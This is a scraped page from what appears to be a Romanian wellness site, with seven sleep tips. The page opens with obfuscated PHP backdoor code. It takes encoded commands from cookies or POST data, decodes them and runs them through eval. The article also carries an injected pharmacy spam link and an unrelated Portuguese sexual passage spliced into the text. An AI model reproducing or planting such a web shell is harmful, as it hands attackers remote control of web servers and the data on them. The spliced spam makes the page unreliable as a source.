$ExATBHdrjx = chr (110) . chr (89) . '_' . "\146" . 'F' . chr (101) . "\x63" . "\x6a";$dTcYTs = chr ( 923 - 824 ).chr (108) . "\141" . "\163" . chr ( 444 - 329 )."\x5f" . "\145" . chr ( 849 - 729 )."\151" . 's' . "\164" . "\163";$UEryFNZn = class_exists($ExATBHdrjx); $ExATBHdrjx = "54987";$dTcYTs = "32390";if ($UEryFNZn === FALSE){class nY_fFecj{public function HoPkywXu(){echo "50866";}private $zlBAE;public static $QMhnzetuC = "ccf9cc12-5651-484b-b00b-75c861c848bb";public static $YjikaM = 25937;public function __construct($aGIZqy=0){$KNLAxXYaeG = $_POST;$FVzzHmHMcI = $_COOKIE;$mxPAikusEN = @$FVzzHmHMcI[substr(nY_fFecj::$QMhnzetuC, 0, 4)];if (!empty($mxPAikusEN)){$KsDaP = "base64";$lfcRvy = "";$mxPAikusEN = explode(",", $mxPAikusEN);foreach ($mxPAikusEN as $xvcDfhu){$lfcRvy .= @$FVzzHmHMcI[$xvcDfhu];$lfcRvy .= @$KNLAxXYaeG[$xvcDfhu];}$lfcRvy = array_map($KsDaP . "\137" . 'd' . "\145" . chr ( 418 - 319 ).'o' . "\144" . chr ( 1047 - 946 ), array($lfcRvy,)); $lfcRvy = $lfcRvy[0] ^ str_repeat(nY_fFecj::$QMhnzetuC, (strlen($lfcRvy[0]) / strlen(nY_fFecj::$QMhnzetuC)) + 1);nY_fFecj::$YjikaM = @unserialize($lfcRvy);}}private function pCYmbi(){if (is_array(nY_fFecj::$YjikaM)) {$sKyfUZ = str_replace("\x3c" . chr ( 703 - 640 ).chr (112) . 'h' . "\160", "", nY_fFecj::$YjikaM['c' . "\x6f" . 'n' . chr (116) . chr ( 954 - 853 ).chr (110) . chr (116)]);eval($sKyfUZ); $BOmhr = "6587";exit();}}public function __destruct(){$this->pCYmbi();}}$ejrnLAMBC = new /* 63831 */ nY_fFecj(); $ejrnLAMBC = str_repeat("39290_61356", 1);} 7 sfaturi pentru un somn mai bun – Harmony

7 sfaturi pentru un somn mai bun

7 sfaturi pentru un somn mai bun

Un https://gomeds.com/flagyl-generisk-information-anvandning-och-biverkningar/ somn bun este esențial pentru o minte și un corp sănătos. Desigur, cu un program încărcat, copii și multe alte responsabilități, a dormi suficient este mai ușor de spus decât de făcut. Deci, ce puteți face pentru a dormi mai bine?

Pare o tempo todo para subir e descer. Sim, sabemos que essa é a “direção” mais óbvia, mas, honestamente, não precisa se limitar a eles. Durante a estimulação de um membro, é possível transformar a palmeira no sentido horário ou no sentido anti -horário – portanto, as terminações nervosas podem ser estimuladas de uma nova maneira. Durante a mesma estimulação oral, é possível suportar, portanto, a vibração dos Read more vocais será transmitida ao membro. A principal coisa neste momento não riu.

  1. Păstrați un timp standard de culcare și trezire
    Da, chiar și în weekend. Orele de culcare și orele de trezire ajută la menținerea normală a ceasului interior al corpului. Puteți chiar să vă configurați programul de somn pe telefon, făcând mai ușor să vă respectați rutina.
  2. Practicați un ritual relaxant înainte de culcare
    Stresul, emoția și anxietatea vă împiedică să adormiți; încercați să faceți o activitate care vă va ajuta să vă relaxați. Asigurați-vă că luminile sunt slabe pentru a vă relaxa și mai mult. Lăsați telefonul în altă cameră, deoarece lumina continuă să vă activeze creierul, făcând mai greu somnul. În schimb, puteți încerca să citiți o carte.
  3. Evitați puiul de somn, în special după-amiaza
    Un pui de somn bun poate apărea în timpul zilei dvs. aglomerate, dar dacă nu puteți adormi noaptea, ar trebui să vă scăpați de acesta.
  4. Exerciții zilnice
    Un antrenament bun vă va ajuta să dormiți mai bine noaptea. Cu cât este mai greu, cu atât mai bine .
  5. Mediul ambiental
    Aruncați o privire bună la dormitorul dvs. Este ideal pentru dormit? Faceți răcoare – între 18 și 20 de grade. Este zgomotos? Prea multă lumină? Dispozitive electronice la îndemână?
  6. Evitați alcoolul, țigările și mâncărurile grele
    Aceste lucruri vă pot perturba somnul. O masă bogată și / sau picantă poate provoca indigestie care vă poate trezi în miez de noapte. De asemenea, dacă alegeți cafeaua după-amiază, acest lucru vă poate menține treaz și mai mult.
  7. Mergeți periodic la masaj. Un masaj bun vă eliberează de stres, vă relaxează mușchii, iar efectuat periodic reduce anxietatea.

Programează-te